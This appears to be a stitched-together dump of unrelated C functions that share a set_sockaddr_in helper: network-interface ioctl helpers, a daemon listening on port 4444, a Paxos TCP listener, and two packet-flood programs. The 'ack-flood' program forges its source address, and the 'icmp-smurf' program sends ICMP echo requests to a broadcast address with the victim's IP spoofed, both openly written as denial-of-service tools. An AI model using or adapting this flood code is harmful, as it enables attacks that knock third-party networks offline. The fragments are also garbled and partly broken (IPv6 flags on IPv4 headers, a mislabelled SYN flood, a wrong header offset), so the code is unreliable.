PRIVATE_EXTERN int inet_aifaddr(int s, const char * name, struct in_addr addr, const struct in_addr * mask, const struct in_addr * broadaddr) { struct in_aliasreq ifra; bzero(&ifra, sizeof(ifra)); strncpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); set_sockaddr_in(&ifra.ifra_addr, addr); if (mask != NULL) { set_sockaddr_in(&ifra.ifra_mask, *mask); } if (broadaddr != NULL) { set_sockaddr_in(&ifra.ifra_broadaddr, *broadaddr); } return (ioctl(s, SIOCAIFADDR, &ifra)); }
PRIVATE_EXTERN int inet_difaddr(int s, const char * name, const struct in_addr addr) { struct ifreq ifr; bzero(&ifr, sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); /* ALIGN: ifr.ifr_addr is aligned (in union), cast okay. */ set_sockaddr_in((struct sockaddr_in *)(void *)&ifr.ifr_addr, addr); return (ioctl(s, SIOCDIFADDR, &ifr)); }
// Arguments standarized and checked // // Respects executable [[--source-addr saddr] [--[remote|broadcast]-addr raddr] [--source-port sport] [--remote-port rport] [--n N]] /Y int main(int argc,char* argv[]){ srand(time(NULL)); if(argc!=7){fprintf(stdout,"Usage: ack-flood --remote-addr raddr --remote-port rport --n N\n"); exit(0);} else{ /** Example source address and source port **/ char* source_address = generate_random_ip_v4(); // Randomize source_address for this flood // char* source_port = "1338"; // Randomize port // char* remote_address = argv[2]; char* remote_port = argv[4]; unsigned int iter = atoi(argv[6]); /** Obtain the socket**/ int sock = get_socket_descriptor_raw_tcp(); /** Create buffer for your packets **/ char buffer[DEFAULT_PCKT_LEN]; memset(buffer,0,DEFAULT_PCKT_LEN); /**Init sockaddr_in with my network information (Only if it's necessary, there are functions in applications that spoofs your addr)**/ struct sockaddr_in myaddr; set_sockaddr_in(&myaddr,source_address,source_port); /** Create your headers and make your combinations **/ IP_HEADER *ip_hdr = (IP_HEADER *)buffer; TCP_HEADER *tcp_hdr = (TCP_HEADER *)(buffer + sizeof(IP_HEADER)); /** Fill your headers (IP && TCP in this case) **/ set_ip_header(ip_hdr,IP_VERSION_V6,IP_DEFAULT_IHL,IP_CURRENT_TOS,IP_DEFAULT_IDENTIFICATION,0,0,0,\ IP_DEFAULT_FRAGMENT_OFFSET,IP_DEFAULT_TTL,IP_TCP_PROTOCOL,0,source_address,remote_address,0); /** Use auxiliar functions to warn of current status **/ SHOW_CREATED_IP_HEADER(ip_hdr); set_tcp_header(tcp_hdr,source_port,remote_port,0,0,TCP_DEFAULT_OFFSET,TCP_DEFAULT_RESERVED,0,0,0,0,1,0,0,0, \ TCP_DEFAULT_WINDOW,0,0,buffer); SHOW_CREATED_TCP_HEADER(tcp_hdr); /** Notice the kernel that we doesn't need it fill the header **/ if(kernel_not_fill_my_header(sock)<0){fprintf(stderr,"Is not possible to notice the kernel"); exit(0);} /** Run your application type (Syn flood in this case)**/ run_flood(sock,iter,ip_hdr,&myaddr,buffer); } return 0; }
//http://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml // Arguments standarized and checked // // Respects executable [--source-addr saddr --[remote|broadcast]-addr raddr --source-port sport [--remote-port rport] [--n N]] // int main(int argc,char* argv[]){ if(argc!=9){fprintf(stdout,"Usage: icmp-smurf --source-addr saddr --broadcast-addr baddr --source-port sport --n N\n"); exit(0);} else{ /** Example source address and source port **/ char* source_address = argv[2]; char* source_port = argv[6]; char* broadcast_address = argv[4]; int iterations = atoi(argv[8]); /** Obtain the socket**/ int sock = get_socket_descriptor_raw_tcp(); /** Create buffer for your packets **/ char buffer[DEFAULT_PCKT_LEN]; memset(buffer,0,DEFAULT_PCKT_LEN); /**Init sockaddr_in with my network information (Only if it's necessary, there are functions in applications that spoofs your addr)**/ struct sockaddr_in myaddr; set_sockaddr_in(&myaddr,source_address,source_port); /** Create your headers and make your combinations **/ IP_HEADER *ip_hdr = (IP_HEADER *)buffer; ICMP_HEADER *icmp_hdr = (ICMP_HEADER *)(buffer + sizeof(ICMP_HEADER)); /** Fill your headers (IP && TCP in this case) **/ set_ip_header(ip_hdr,IP_VERSION_V6,IP_DEFAULT_IHL,IP_CURRENT_TOS,IP_DEFAULT_IDENTIFICATION,0,0,0,\ IP_DEFAULT_FRAGMENT_OFFSET,IP_DEFAULT_TTL,IP_ICMP_PROTOCOL,0,source_address,broadcast_address,0); /** Use auxiliar functions to warn of current status **/ SHOW_CREATED_IP_HEADER(ip_hdr); set_icmp_header(icmp_hdr,ICMP_ECHO,0,0,0); SHOW_CREATED_ICMP_HEADER(icmp_hdr); /** Notice the kernel that we doesn't need it fill the header **/ if(kernel_not_fill_my_header(sock)<0){fprintf(stderr,"Is not possible to notice the kernel"); exit(0);} /** Application (Send icmp requests to broadcast addr with victim ip spoofed) **/ int count = 0,i; #pragma omp parallel for reduction(+:count) if(iterations>=2000000) for(i=0;i<iterations;i++){ if(sendto(sock, buffer, ip_hdr->total_length, 0, (struct sockaddr*)&myaddr, sizeof(myaddr))>=0) count++; } fprintf(stdout,"Send %d icmp echo to broadcast %s\n",count,broadcast_address); } return 0; }
int make_connect(char *server, int port) { int server_socket; server_socket = socket(AF_INET, SOCK_STREAM, 0); if( -1 == server_socket){ syslog(LOG_ERR, "socket open error. retry in 1 second"); return -1; } struct sockaddr_in addr; set_sockaddr_in(&addr, AF_INET, port, inet_addr(server)); if( -1 == connect( server_socket, (struct sockaddr*)&addr, sizeof(addr))){ syslog(LOG_ERR, "can't connect to server. retry in 1 seconnd"); return -1; } return server_socket; }
int main (int argc, char **argv) { get_option(argc, argv); daemonize("nitch-agentd"); struct sockaddr_in addr; set_sockaddr_in(&addr, AF_INET, 4444, INADDR_ANY); sock = init_server(SOCK_STREAM, (struct sockaddr *) &addr, sizeof(addr), BACKLOG_SIZE); if ( sock < 0) { syslog(LOG_ERR, "can't listen on port %d: %m", 4444); exit(EXIT_FAILURE); } syslog(LOG_DEBUG, "listening on 4444"); initialize(); if ( pthread_create(&p_thread[2], NULL, still_alive, NULL)){ syslog(LOG_ERR, "daemon can't make thread"); } if ( pthread_create(&p_thread[3], NULL, time_stamper, NULL)){ syslog(LOG_ERR, "can't make thread"); } pthread_join(p_thread[0], NULL); pthread_join(p_thread[1], NULL); pthread_join(p_thread[2], NULL); pthread_join(p_thread[3], NULL); close(STDIN_FILENO); close(STDERR_FILENO); close(STDOUT_FILENO); close(socket_request); close(socket_response); close(sock); exit(EXIT_SUCCESS); }
struct tcp_receiver* tcp_receiver_new(struct event_base* b, int port, bufferevent_data_cb cb, void* arg) { struct tcp_receiver* r; struct sockaddr_in sin; unsigned flags = LEV_OPT_CLOSE_ON_EXEC | LEV_OPT_CLOSE_ON_FREE | LEV_OPT_REUSEABLE; r = malloc(sizeof(struct tcp_receiver)); set_sockaddr_in(&sin, port); r->callback = cb; r->arg = arg; /*libevent listener和bind端口*/ r->listener = evconnlistener_new_bind(b, on_accept, r, flags, -1, (struct sockaddr*)&sin, sizeof(sin)); assert(r->listener != NULL); /*设置listen error 回调处理*/ evconnlistener_set_error_cb(r->listener, on_listener_error); r->bevs = carray_new(10); paxos_log_info("Listening on port %d", port); return r; }